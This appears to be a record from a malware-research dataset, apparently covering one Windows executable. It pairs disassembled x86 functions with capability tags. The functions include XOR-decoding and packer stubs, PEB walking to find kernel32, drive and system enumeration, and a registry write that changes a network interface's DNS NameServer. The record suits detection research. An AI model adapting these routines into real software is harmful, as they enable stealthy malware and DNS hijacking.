joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401310
Capabilities:
Get local ipv4 addresses

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0xc]
test edi, edi
mov dword [esp + 4], 0
jne 0x401327
xor eax, eax
pop edi
pop ecx
ret
push ebx
push ebp
push esi
push 0x288
push 0
push edi
call fcn.00425f70
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push 0
call sub.iphlpapi.dll_GetAdaptersInfo
mov ecx, dword [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add ecx, 4
push ecx
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [esp + 0x10]
add edx, 4
push edx
mov ebx, eax
push 0
push ebx
call fcn.00425f70
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ebx
call sub.iphlpapi.dll_GetAdaptersInfo
test ebx, ebx
mov esi, ebx
je 0x4013b5
jmp 0x401390
lea ecx, [esi + 0x1b0]
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp dword [esp + 0x1c], eax
je 0x4013bd
mov esi, dword [esi]
test esi, esi
jne 0x401390
push ebx
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
pop ecx
ret
push ebx
mov ecx, 0xa2
push 8
rep movsd dword es:[edi], dword [esi]
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
pop ecx
ret
Function at 0x401bb0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x43b01b
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x44e840]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push esi
push edi
mov eax, dword [0x44e840]
xor eax, esp
push eax
lea eax, [esp + 0x98]
mov dword fs:[0], eax
mov esi, dword [esp + 0xa8]
mov edi, dword [esp + 0xac]
xor ebx, ebx
push 0x3e
push str.SYSTEMCurrentControlSetServicesTcpipParametersInterfaces_
lea ecx, [esp + 0x1c]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call fcn.00401aa0
mov eax, esi
mov dword [esp + 0xa0], ebx
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x401c26
sub eax, edx
push eax
push esi
lea ecx, [esp + 0x1c]
call fcn.004019b0
mov eax, dword [esp + 0x18]
mov esi, 0x10
cmp dword [esp + 0x2c], esi
jae 0x401c4f
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push ecx
push 0x20006
push ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401c81
cmp dword [esp + 0x2c], esi
jb 0x401c7d
mov edx, dword [esp + 0x18]
push edx
call fcn.0040a687
add esp, 4
xor al, al
jmp 0x401ce3
push 0x62
lea eax, [esp + 0x34]
push edi
push eax
call fcn.004260f0
lea eax, [esp + 0x3c]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x401c98
sub eax, edx
mov edx, dword [esp + 0x10]
mov byte [esp + eax + 0x31], bl
add eax, 2
push eax
lea ecx, [esp + 0x34]
push ecx
push 1
push ebx
push str.NameServer
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [esp + 0x2c], esi
jb 0x401ce1
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0040a687
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x98]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x84]
xor ecx, esp
call fcn.00425f0e
add esp, 0x94
ret
Function at 0x405b6d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + 0x2c]
mov ebx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x2c]
sub ebx, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
lea ecx, [edi + ecx - 0x106]
sub ebx, eax
cmp eax, ecx
jb 0x405bf5
mov eax, dword [esi + 0x38]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call fcn.004268b0
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], edi
sub dword [esi + 0x6c], edi
add esp, 0xc
sub dword [esi + 0x5c], edi
mov dword [ebp + 8], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp + 8]
mov word [eax], cx
jne 0x405bb8
mov eax, dword [esi + 0x40]
mov dword [ebp + 8], edi
lea eax, [eax + edi*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp + 8]
mov word [eax], cx
jne 0x405bda
add ebx, edi
mov eax, dword [esi]
cmp dword [eax + 4], 0
je 0x405c50
mov ecx, dword [esi + 0x74]
push ebx
add ecx, dword [esi + 0x6c]
add ecx, dword [esi + 0x38]
push ecx
push eax
call fcn.00405c55
add dword [esi + 0x74], eax
mov ebx, dword [esi + 0x74]
add esp, 0xc
cmp ebx, 3
jb 0x405c3c
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
mov ecx, dword [esi + 0x58]
movzx eax, byte [edx]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp ebx, 0x106
jae 0x405c50
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x405b79
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40d4d4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x40d51a
call fcn.0040e7cc
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40d51a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x40d55d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x40d546
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40d546
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x40d55a
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4143d2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x414415
call fcn.0040e7cc
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x414415
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x414430
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.00413f89
test ebx, ebx
mov esi, eax
je 0x41442e
test edi, edi
je 0x41442e
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4167c0
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4167ee
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41680c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0041672a
jmp 0x41680c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x41680c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0041672a
test edi, edi
mov eax, edi
jne 0x4167f6
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x4517e8]
test ecx, ecx
je 0x4168cf
jmp 0x4167bf
ret 8

Function at 0x425f0e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44e840]
jne 0x425f18
repz ret
jmp fcn.0042c92c
Function at 0x436547
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0042c375
xor ebx, ebx
cmp dword [0x4525a4], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x43661c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x436587
xor eax, eax
jmp 0x4366e0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4448a8
push edi
call esi
cmp eax, ebx
je 0x436580
push eax
call fcn.0042c312
mov dword [esp], 0x444898
push edi
mov dword [0x4525a4], eax
call esi
push eax
call fcn.0042c312
mov dword [esp], 0x444884
push edi
mov dword [0x4525a8], eax
call esi
push eax
call fcn.0042c312
mov dword [0x4525ac], eax
lea eax, [ebp - 8]
push eax
call fcn.00427bb6
test eax, eax
pop ecx
pop ecx
je 0x4365ea
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00426d84
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x43661c
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0042c312
cmp eax, ebx
pop ecx
mov dword [0x4525b4], eax
je 0x43661c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042c312
pop ecx
mov dword [0x4525b0], eax
mov eax, dword [0x4525b0]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x436695
cmp dword [0x4525b4], esi
je 0x436695
push eax
call fcn.0042c37e
pop ecx
call eax
cmp eax, ebx
je 0x436662
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4525b4]
call fcn.0042c37e
pop ecx
call eax
test eax, eax
je 0x436662
test byte [ebp - 0x18], 1
jne 0x436695
lea eax, [ebp - 0xc]
push eax
call fcn.00427bed
test eax, eax
pop ecx
je 0x43667d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00426d84
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x43668c
or dword [ebp + 0x10], 0x200000
jmp 0x4366c6
or dword [ebp + 0x10], 0x40000
jmp 0x4366c6
mov eax, dword [0x4525a8]
cmp eax, esi
je 0x4366c6
push eax
call fcn.0042c37e
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4366c6
mov eax, dword [0x4525ac]
cmp eax, esi
je 0x4366c6
push dword [ebp - 4]
push eax
call fcn.0042c37e
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4525a4]
call fcn.0042c37e
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43abde
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x44e840]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0043ab73
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00425f70
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x43ac2d
cmp dword [ebp - 0x1c], 5
jb 0x43ac45
jmp 0x43ac41
cmp dword [ebp - 0x10], 1
jne 0x43ac45
cmp dword [ebp - 0x1c], 4
ja 0x43ac41
jne 0x43ac45
cmp dword [ebp - 0x18], 0
jbe 0x43ac45
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x445a94
call fcn.0043aa64
test eax, eax
jge 0x43ac66
mov byte [0x44fcc4], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00425f0e
add ebp, 0x78
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x12867b7b
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x3969304f
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401970
Capabilities:
Get disk information

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0xc], 0x5c3a3f
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
lea eax, [esp + 0x10]
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [esp + 0xc], 0x61
mov eax, esi
and eax, 1
shr esi, 1
test eax, eax
je 0x4019be
lea ecx, [esp + 0xc]
push ecx
call ebx
cmp eax, 5
jne 0x4019be
inc edi
mov al, byte [esp + 0xc]
inc al
cmp al, 0x7a
mov byte [esp + 0xc], al
jle 0x4019a6
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x4019e0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x158
push ebx
push ebp
push esi
xor esi, esi
push edi
xor ebp, ebp
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], 0x5c3a3f
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebx, eax
lea eax, [esp + 0x68]
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov edi, dword [esp + 0x170]
mov byte [esp + 0x10], 0x61
mov edi, edi
mov eax, ebx
and eax, 1
shr ebx, 1
test eax, eax
je 0x401a88
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 5
jne 0x401a88
mov edx, dword [esp + 0x16c]
cmp edx, dword [esp + 0x14]
jne 0x401a84
movzx eax, si
add eax, 0x41
push eax
push 0x4b1
call fcn.0040de90
add esp, 4
push eax
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x24]
mov edx, edi
mov ecx, eax
add esp, 0xc
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401a75
mov ebp, 1
inc dword [esp + 0x14]
mov al, byte [esp + 0x10]
inc esi
inc al
cmp al, 0x7a
mov byte [esp + 0x10], al
jle 0x401a20
test ebp, ebp
jne 0x401aba
push 0x4b7
call fcn.0040de90
add esp, 4
mov edx, edi
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x401ab0
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x158
ret 0xc

Function at 0x401ae0
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
sub esp, 0x44
push esi
lea eax, [esp + 0x24]
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esp + 0x3c]
sub eax, 0x182
je 0x401b14
sub eax, 0x64
je 0x401b0d
sub eax, 0x64
jne 0x401b19
mov esi, 5
jmp 0x401b19
mov esi, 4
jmp 0x401b19
mov esi, 3
movzx ecx, si
mov edx, dword [ecx*4 + 0x4370b4]
mov esi, dword [esp + 0x4c]
push edx
push 0x42c614
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 4]
push eax
mov dword [esp + 8], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov ecx, dword [esp + 0xc]
shr ecx, 0xa
mov dword [esi + 0x20], ecx
pop esi
add esp, 0x44
ret 8
Function at 0x401c80
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x42a6b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
push edi
push 0x10
call dword [sym.imp.USER32.dll_GetSysColor]
push eax
push 0
push 0
lea ecx, [esp + 0x14]
call fcn.00425b51
mov esi, dword [esp + 0x3c]
lea eax, [esp + 8]
push eax
mov ecx, esi
mov dword [esp + 0x24], 0
call fcn.00425aef
push 1
push 1
lea ecx, [esp + 0x34]
push ecx
mov edi, eax
call dword [sym.imp.USER32.dll_InflateRect]
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
push ecx
push eax
lea edx, [esp + 0x18]
push edx
mov ecx, esi
call fcn.00425754
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
push eax
push ecx
mov ecx, esi
call fcn.004254f7
mov edx, dword [esi]
push 6
mov ecx, esi
call dword [edx + 0x24]
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x34]
push ecx
push eax
mov ecx, esi
call fcn.004254f7
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x2c]
push eax
push ecx
mov ecx, esi
call fcn.004254f7
lea edx, [esp + 8]
push edx
mov ecx, esi
call fcn.00425aef
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
push ecx
push eax
mov ecx, esi
call fcn.004254f7
push edi
mov ecx, esi
call fcn.00425aef
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov eax, esi
mov dword [eax], ecx
mov ecx, dword [esp + 0x34]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x38]
mov dword [eax + 8], ecx
lea ecx, [esp + 8]
mov dword [eax + 0xc], edx
mov dword [esp + 0x20], 0xffffffff
mov dword [esp + 8], 0x42dc90
call fcn.00425a6a
mov eax, esi
pop edi
mov ecx, dword [esp + 0x14]
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret 0x18
Function at 0x401eb0
Capabilities:
Get common file path

Disassembly:
mov eax, dword [esp + 0x10]
sub esp, 0x458
test eax, eax
jne 0x401ed3
push 0xff
lea eax, [esp + 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x401eea
lea edx, [esp + 0x258]
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401ee0
mov eax, dword [esp + 0x464]
test eax, eax
je 0x401f3f
mov edx, dword [esp + 0x460]
push 0xff
lea ecx, [esp + 0x15c]
push ecx
push eax
push edx
call dword [sym.imp.USER32.dll_LoadStringA]
test eax, eax
je 0x401f3f
mov cl, byte [esp + eax + 0x157]
mov al, byte [esp + 0x158]
test al, al
je 0x401f3f
lea eax, [esp + 0x158]
mov edi, edi
cmp byte [eax], cl
jne 0x401f37
mov byte [eax], 0
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x401f30
mov eax, dword [esp + 0x46c]
test eax, eax
je 0x401f5d
lea edx, [esp + 0x358]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401f53
push esi
mov esi, dword [esp + 0x474]
push edi
xor eax, eax
test esi, esi
mov ecx, 0x16
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
mov byte [esp + 0x60], al
je 0x401f8d
lea edx, [esp + 0x60]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401f83
mov eax, dword [esp + 0x464]
lea edx, [esp + 0x60]
lea ecx, [esp + 0x160]
mov dword [esp + 0x24], edx
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x360]
lea ecx, [esp + 0x260]
push edx
mov dword [esp + 0xc], 0x58
mov dword [esp + 0x2c], 0xff
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 0xff
mov dword [esp + 0x38], ecx
mov dword [esp + 0x40], 0x80022
mov dword [esp + 0x50], 0x401c50
call dword [sym.imp.comdlg32.dll_GetSaveFileNameA]
test eax, eax
je 0x40201c
lea eax, [esp + 0x60]
mov edx, esi
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402002
pop edi
mov eax, 1
pop esi
add esp, 0x458
ret 0x18
pop edi
xor eax, eax
pop esi
add esp, 0x458
ret 0x18

Function at 0x4022b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4022c9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x4022dd
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4022fe
cmp esi, eax
jae 0x4022d7
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4022f0
cmp esi, eax
jae 0x4022d7
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x4060ca
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push ebx
sub esp, 0x374
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0x18]
mov eax, dword [ebx + 0x2f80d]
mov dword [esp + 0x14], eax
mov eax, dword [ebx + 0x2f811]
mov dword [esp + 0x18], eax
lea esi, [esp + 0x20]
mov dword [esp + 0x1c], esi
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
lea eax, [ebx + 0x2f815]
mov dword [esp], eax
call fcn.004060a0
mov dword [esp + 0x354], esi
mov eax, dword [esp + 0xd4]
add ebx, eax
lea eax, [esp + 0x354]
mov dword [esp], eax
call ebx
add esp, 0x374
pop ebx
pop esi
ret

Function at 0x407330
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx eax, word [esp + 8]
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
push 2
push eax
push ebx
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x4073a4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4073a4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40739d
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x407398
mov ecx, edi
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
pop edi
pop ebp
pop ebx
ret
pop esi
pop edi
mov eax, ebp
pop ebp
pop ebx
ret
pop edi
mov eax, ebp
pop ebp
pop ebx
ret
Function at 0x40eb90
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
xor eax, eax
test esi, esi
je 0x40ecfd
mov byte [esi], al
mov eax, dword [esp + 0x114]
test eax, eax
je 0x40ebbb
mov dword [eax], 0
push ebx
push edi
push 0x42d5a4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
mov ebx, dword [esp + 0x118]
je 0x40ec1f
push 0x104
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jbe 0x40ec1f
lea eax, [esp + 0xc]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ebf0
sub eax, edx
lea edi, [eax - 0xd]
test edi, edi
jbe 0x40ec1f
lea edx, [edi + 1]
cmp ebx, edx
jbe 0x40ec1f
push edi
lea eax, [esp + 0x10]
push eax
push esi
call fcn.00410d60
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x40eca8
cmp byte [esi], 0
jne 0x40ecad
push ebx
push esi
push 0x42d9ac
push 0x42d984
call fcn.0040eae0
mov al, byte [esi]
add esp, 0x10
test al, al
je 0x40ec51
push 0
push esi
call fcn.00411edd
add esp, 8
test eax, eax
je 0x40ec54
mov byte [esi], 0
cmp byte [esi], 0
jne 0x40ecad
push ebx
push esi
push 0x42d96c
push 0x42d984
call fcn.0040eae0
mov al, byte [esi]
add esp, 0x10
test al, al
je 0x40ec82
push 0
push esi
call fcn.00411edd
add esp, 8
test eax, eax
je 0x40ec85
mov byte [esi], 0
cmp byte [esi], 0
jne 0x40ecad
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jbe 0x40eca5
push 0
push esi
call fcn.00411edd
add esp, 8
test eax, eax
je 0x40eca8
mov byte [esi], 0
cmp byte [esi], 0
je 0x40ecf2
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ecb2
sub eax, edx
cmp byte [eax + esi - 1], 0x5c
je 0x40ecf2
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ecc7
sub eax, edx
cmp byte [eax + esi - 1], 0x2f
je 0x40ecf2
mov edi, esi
dec edi
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40ece0
mov cx, word [0x42c8a8]
mov word [edi], cx
mov cl, byte [esi]
xor eax, eax
test cl, cl
pop edi
setne al
pop ebx
pop esi
add esp, 0x104
ret